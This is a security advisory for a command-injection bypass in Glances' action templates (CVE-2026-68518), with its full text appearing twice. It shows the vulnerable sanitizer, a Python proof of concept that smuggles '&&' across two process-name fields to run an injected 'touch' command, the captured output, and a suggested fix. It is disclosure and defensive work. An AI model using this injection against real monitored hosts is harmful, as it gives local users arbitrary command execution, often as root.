CVE-2026-68518

### Summary The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by `secure_popen()`, which interprets `&&`, `|` and `>` as chaining / pipe / redirection operators. `glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which strips those operators from **each individual** template value before rendering. The sanitization is applied per field, but the operators are reconstructed **across the boundary of two adjacent template variables** after Mustache rendering. When an action template concatenates two unescaped variables (`{{{a}}}{{{b}}}` or `{{&a}}{{&b}}`) and the attacker makes the first value end with `&` and the second begin with `&`, the rendered command contains a real `&&`, and `secure_popen()` executes the injected command. The single-`&` in each value passes the per-field filter untouched. ### Affected versions `glances` `<= 4.5.5` (verified against the published PyPI release `4.5.5`, the latest at the time of writing; `glances.__version__ == "4.5.5"`). The per-field sanitizer `_sanitize_mustache_dict()` is present and active in this release. Not patched in any released version. ### Privilege required Two roles are involved: - A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration. - An administrator has configured an action whose command template concatenates two **unescaped** Mustache variables with no separating character (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{& }}`) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim. No network access to the target host is required beyond the ability to run a process (or start a named container) on it. ### Vulnerable code (file:line) `glances/actions.py:25-46` — the per-field sanitizer: ```python # glances/actions.py:25 _SHELL_OPERATORS = ('&&', '|', '>>', '>') def _sanitize_mustache_dict(mustache_dict): """Return a copy of mustache_dict with shell operators replaced by spaces.""" if not mustache_dict: return mustache_dict safe = {} for k, v in mustache_dict.items(): if isinstance(v, str): for op in _SHELL_OPERATORS: v = v.replace(op, ' ') # per-field only safe[k] = v else: safe[k] = v return safe ``` `glances/actions.py:100-111` — sanitize-then-render-then-execute: ```python # glances/actions.py:100 for cmd in commands: if chevron_tag: safe_dict = _sanitize_mustache_dict(mustache_dict) cmd_full = chevron.render(cmd, safe_dict) # concatenation happens here else: cmd_full = cmd ret = secure_popen(cmd_full) # operators interpreted ``` ### Root cause `_sanitize_mustache_dict()` removes `&&`, `|`, `>>`, `>` from each value in isolation. It does not remove a lone `&`, because a single `&` is not one of the listed operators. When two values are rendered next to each other by `chevron.render()`, a trailing `&` from the first value and a leading `&` from the second value join into a literal `&&` in `cmd_full`. `secure_popen()` then `cmd.split('&&')` and runs the second half as a separate `subprocess.Popen` (`shell=False`) process. The same reconstruction works for `>` written as two adjacent `>` characters split across the boundary (`...>` + `>...` and the `>>`/`>` stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect. This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time. Chevron HTML-escapes `&`, `<`, `>`, `"` inside standard double-brace `{{ }}` sections, so double-brace templates neutralise the `&&` reconstruction. The reconstruction is reachable specifically through **unescaped** variables (`{{{ }}}` / `{{& }}`), which is why the per-field sanitizer is the sole remaining control on that path. ### Reachability / How input reaches sink 1. A local unprivileged user starts a process (or a container) whose `name` ends with `&` and whose `cmdline` begins with `& <command>` (both are stored verbatim in the plugin stat item). 2. When the plugin crosses a `warning` / `critical` threshold, `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat item passed as the `mustache_dict` argument. 3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()` (each keeps its single `&`), then `chevron.render()` concatenates the two adjacent unescaped variables, producing a literal `&&` in the command string. 4. `secure_popen(cmd_full)` splits on `&&` and runs the attacker's segment as a separate `subprocess.Popen(shell=False)` process. The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close. ### Reproduction (end-to-end, against pinned version `glances==4.5.5`) ```bash # 1. Install the latest published release into a clean venv python3.13 -m venv gv ./gv/bin/pip install "glances==4.5.5" # 2. Run the reproducer, which drives the real # glances.actions.GlancesActions.run() pipeline exactly as # glances/plugins/plugin/model.py invokes it on an alert. ./gv/bin/python repro.py ``` `repro.py`: ```python import os, sys, time sys.argv = ['glances'] from glances.actions import GlancesActions MARK = "/tmp/glances_crossfield_pwned" NEG = MARK + "_neg" for f in (MARK, NEG): try: os.remove(f) except FileNotFoundError: pass class Args: time = 0 ga = GlancesActions(args=Args()) # A processlist stat item; a local low-privilege user controls both 'name' and # 'cmdline' by spawning a process (the established GHSA-vcv2 threat model). # 'name' ends with '&', 'cmdline' begins with '&' -> '&&' forms across the boundary. item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK, 'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'} # NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are # neutralised by chevron HTML-escaping '&' -> '&amp;'. neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG ga.status.clear(); ga.start_timer._start = time.time() - 999 ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item) time.sleep(0.3) print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):", "INJECTED" if os.path.exists(NEG) else "blocked (expected)") # POSITIVE: an UNESCAPED template with two adjacent variables. Per-field # _sanitize_mustache_dict leaves each single '&'; the '&&' operator is # reconstructed after chevron.render, then split by secure_popen. ga.status.clear(); ga.start_timer._start = time.time() - 999 ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item) time.sleep(0.5) print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):", "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked") ``` Captured output (`glances` 4.5.5, Python 3.13, x86_64 Linux): ``` NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected) POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed ``` The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes `&`). The positive case shows the injected `touch` executing when the template uses two adjacent unescaped variables: the file `/tmp/glances_crossfield_pwned` is created by the injected command, not by the intended `logger` action. ### Impact - Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields. - The same reconstruction reaches `secure_popen()`'s file-redirection (`>`) and pipe (`|`) handling, allowing arbitrary file write and output piping in addition to command chaining. - The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was added specifically to stop attacker-controlled stat values from injecting shell operators. ### Suggested fix Enforce the operator ban on the **rendered** command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone `&`/redirection characters that originate from variable data. ```python def _sanitize_mustache_dict(mustache_dict): if not mustache_dict: return mustache_dict safe = {} for k, v in mustache_dict.items(): if isinstance(v, str): # Neutralise every shell-significant character that secure_popen # can interpret, including a lone '&' that could pair with an # adjacent variable to reconstruct '&&'. for ch in ('&', '|', '>', '<'): v = v.replace(ch, ' ') safe[k] = v else: safe[k] = v return safe ``` Neutralising the single `&` (and the single `>` / `|`) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize `cmd_full` after `chevron.render()`, or pass the template-derived data as `secure_popen(..., allow_operators=False)` when the command originates from stat-field substitution. ### Credit Reported by tonghuaroot.

### Summary The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by `secure_popen()`, which interprets `&&`, `|` and `>` as chaining / pipe / redirection operators. `glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which strips those operators from **each individual** template value before rendering. The sanitization is applied per field, but the operators are reconstructed **across the boundary of two adjacent template variables** after Mustache rendering. When an action template concatenates two unescaped variables (`{{{a}}}{{{b}}}` or `{{&a}}{{&b}}`) and the attacker makes the first value end with `&` and the second begin with `&`, the rendered command contains a real `&&`, and `secure_popen()` executes the injected command. The single-`&` in each value passes the per-field filter untouched. ### Affected versions `glances` `<= 4.5.5` (verified against the published PyPI release `4.5.5`, the latest at the time of writing; `glances.__version__ == "4.5.5"`). The per-field sanitizer `_sanitize_mustache_dict()` is present and active in this release. Not patched in any released version. ### Privilege required Two roles are involved: - A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration. - An administrator has configured an action whose command template concatenates two **unescaped** Mustache variables with no separating character (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{& }}`) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim. No network access to the target host is required beyond the ability to run a process (or start a named container) on it. ### Vulnerable code (file:line) `glances/actions.py:25-46` — the per-field sanitizer: ```python # glances/actions.py:25 _SHELL_OPERATORS = ('&&', '|', '>>', '>') def _sanitize_mustache_dict(mustache_dict): """Return a copy of mustache_dict with shell operators replaced by spaces.""" if not mustache_dict: return mustache_dict safe = {} for k, v in mustache_dict.items(): if isinstance(v, str): for op in _SHELL_OPERATORS: v = v.replace(op, ' ') # per-field only safe[k] = v else: safe[k] = v return safe ``` `glances/actions.py:100-111` — sanitize-then-render-then-execute: ```python # glances/actions.py:100 for cmd in commands: if chevron_tag: safe_dict = _sanitize_mustache_dict(mustache_dict) cmd_full = chevron.render(cmd, safe_dict) # concatenation happens here else: cmd_full = cmd ret = secure_popen(cmd_full) # operators interpreted ``` ### Root cause `_sanitize_mustache_dict()` removes `&&`, `|`, `>>`, `>` from each value in isolation. It does not remove a lone `&`, because a single `&` is not one of the listed operators. When two values are rendered next to each other by `chevron.render()`, a trailing `&` from the first value and a leading `&` from the second value join into a literal `&&` in `cmd_full`. `secure_popen()` then `cmd.split('&&')` and runs the second half as a separate `subprocess.Popen` (`shell=False`) process. The same reconstruction works for `>` written as two adjacent `>` characters split across the boundary (`...>` + `>...` and the `>>`/`>` stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect. This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time. Chevron HTML-escapes `&`, `<`, `>`, `"` inside standard double-brace `{{ }}` sections, so double-brace templates neutralise the `&&` reconstruction. The reconstruction is reachable specifically through **unescaped** variables (`{{{ }}}` / `{{& }}`), which is why the per-field sanitizer is the sole remaining control on that path. ### Reachability / How input reaches sink 1. A local unprivileged user starts a process (or a container) whose `name` ends with `&` and whose `cmdline` begins with `& <command>` (both are stored verbatim in the plugin stat item). 2. When the plugin crosses a `warning` / `critical` threshold, `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat item passed as the `mustache_dict` argument. 3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()` (each keeps its single `&`), then `chevron.render()` concatenates the two adjacent unescaped variables, producing a literal `&&` in the command string. 4. `secure_popen(cmd_full)` splits on `&&` and runs the attacker's segment as a separate `subprocess.Popen(shell=False)` process. The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close. ### Reproduction (end-to-end, against pinned version `glances==4.5.5`) ```bash # 1. Install the latest published release into a clean venv python3.13 -m venv gv ./gv/bin/pip install "glances==4.5.5" # 2. Run the reproducer, which drives the real # glances.actions.GlancesActions.run() pipeline exactly as # glances/plugins/plugin/model.py invokes it on an alert. ./gv/bin/python repro.py ``` `repro.py`: ```python import os, sys, time sys.argv = ['glances'] from glances.actions import GlancesActions MARK = "/tmp/glances_crossfield_pwned" NEG = MARK + "_neg" for f in (MARK, NEG): try: os.remove(f) except FileNotFoundError: pass class Args: time = 0 ga = GlancesActions(args=Args()) # A processlist stat item; a local low-privilege user controls both 'name' and # 'cmdline' by spawning a process (the established GHSA-vcv2 threat model). # 'name' ends with '&', 'cmdline' begins with '&' -> '&&' forms across the boundary. item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK, 'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'} # NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are # neutralised by chevron HTML-escaping '&' -> '&amp;'. neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG ga.status.clear(); ga.start_timer._start = time.time() - 999 ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item) time.sleep(0.3) print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):", "INJECTED" if os.path.exists(NEG) else "blocked (expected)") # POSITIVE: an UNESCAPED template with two adjacent variables. Per-field # _sanitize_mustache_dict leaves each single '&'; the '&&' operator is # reconstructed after chevron.render, then split by secure_popen. ga.status.clear(); ga.start_timer._start = time.time() - 999 ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item) time.sleep(0.5) print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):", "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked") ``` Captured output (`glances` 4.5.5, Python 3.13, x86_64 Linux): ``` NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected) POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed ``` The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes `&`). The positive case shows the injected `touch` executing when the template uses two adjacent unescaped variables: the file `/tmp/glances_crossfield_pwned` is created by the injected command, not by the intended `logger` action. ### Impact - Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields. - The same reconstruction reaches `secure_popen()`'s file-redirection (`>`) and pipe (`|`) handling, allowing arbitrary file write and output piping in addition to command chaining. - The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was added specifically to stop attacker-controlled stat values from injecting shell operators. ### Suggested fix Enforce the operator ban on the **rendered** command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone `&`/redirection characters that originate from variable data. ```python def _sanitize_mustache_dict(mustache_dict): if not mustache_dict: return mustache_dict safe = {} for k, v in mustache_dict.items(): if isinstance(v, str): # Neutralise every shell-significant character that secure_popen # can interpret, including a lone '&' that could pair with an # adjacent variable to reconstruct '&&'. for ch in ('&', '|', '>', '<'): v = v.replace(ch, ' ') safe[k] = v else: safe[k] = v return safe ``` Neutralising the single `&` (and the single `>` / `|`) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize `cmd_full` after `chevron.render()`, or pass the template-derived data as `secure_popen(..., allow_operators=False)` when the command originates from stat-field substitution. ### Credit Reported by tonghuaroot.